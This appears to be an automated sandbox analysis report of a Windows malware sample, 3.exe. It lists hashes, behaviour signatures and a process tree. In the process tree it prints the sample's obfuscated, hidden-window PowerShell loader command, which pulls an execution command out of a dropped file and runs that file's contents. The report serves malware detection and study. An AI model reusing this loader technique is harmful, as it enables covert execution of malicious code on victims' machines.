Analysis

  • max time kernel
    120s
  • max time network
    120s
  • platform
    windows7_x64
  • resource
    win7-20240903-en
  • resource tags

    arch:x64arch:x86image:win7-20240903-enlocale:en-usos:windows7-x64system
  • submitted
    16-12-2024 12:21

General

  • Target

    3.exe

  • Size

    1.1MB

  • MD5

    4252cd5753def4a484fb3313e1029e66

  • SHA1

    19fd0734102e1eebe6c7f42d530d30e920366e00

  • SHA256

    96b8248be606c47b8955a560f3df160a4c9026ce1956e407daf177f17549e4f7

  • SHA512

    471851f39c4d058798bce13f80c63f38e3f3196132c5fe3068982362d7c9c876670cef2f768a8de7ed300669a85c58b367c1b51221617a1d8ae67cda77b82984

  • SSDEEP

    24576:3NrNYoKOHCWJSICvcVU2F3VwV5k7j5awX300zQUGtZQ:d+jEWhvsU2F3VwXgj5aEkHUGtZQ

Score
8/10

Malware Config

Signatures

  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Run Powershell and hide display window.

  • Loads dropped DLL 1 IoCs
  • Drops file in System32 directory 1 IoCs
  • Drops file in Program Files directory 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • System Location Discovery: System Language Discovery 1 TTPs 2 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Suspicious behavior: EnumeratesProcesses 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 4 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\3.exe
    "C:\Users\Admin\AppData\Local\Temp\3.exe"
    1⤵
    • Loads dropped DLL
    • Drops file in System32 directory
    • Drops file in Program Files directory
    • System Location Discovery: System Language Discovery
    • Suspicious use of WriteProcessMemory
    PID:2508
    • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      powershell.exe -windowstyle hidden "$Subwayed=gc -raw 'C:\Users\Admin\AppData\Local\Temp\globosely\baadehavn\stnner\Forhaandsudtalelses.Pot162';$Raadslagningens=$Subwayed.SubString(68150,3);.$Raadslagningens($Subwayed) "
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • System Location Discovery: System Language Discovery
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:2408

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

Loading Replay Monitor...

Downloads

  • \Users\Admin\AppData\Local\Temp\nsd8A94.tmp\nsExec.dll

    Filesize

    7KB

    MD5

    675c4948e1efc929edcabfe67148eddd

    SHA1

    f5bdd2c4329ed2732ecfe3423c3cc482606eb28e

    SHA256

    1076ca39c449ed1a968021b76ef31f22a5692dfafeea29460e8d970a63c59906

    SHA512

    61737021f86f54279d0a4e35db0d0808e9a55d89784a31d597f2e4b65b7bbeec99aa6c79d65258259130eeda2e5b2820f4f1247777a3010f2dc53e30c612a683

  • memory/2408-15-0x0000000073621000-0x0000000073622000-memory.dmp

    Filesize

    4KB

  • memory/2408-16-0x0000000073620000-0x0000000073BCB000-memory.dmp

    Filesize

    5.7MB

  • memory/2408-19-0x0000000073620000-0x0000000073BCB000-memory.dmp

    Filesize

    5.7MB

  • memory/2408-18-0x0000000073620000-0x0000000073BCB000-memory.dmp

    Filesize

    5.7MB

  • memory/2408-17-0x0000000073620000-0x0000000073BCB000-memory.dmp

    Filesize

    5.7MB

  • memory/2408-20-0x0000000073620000-0x0000000073BCB000-memory.dmp

    Filesize

    5.7MB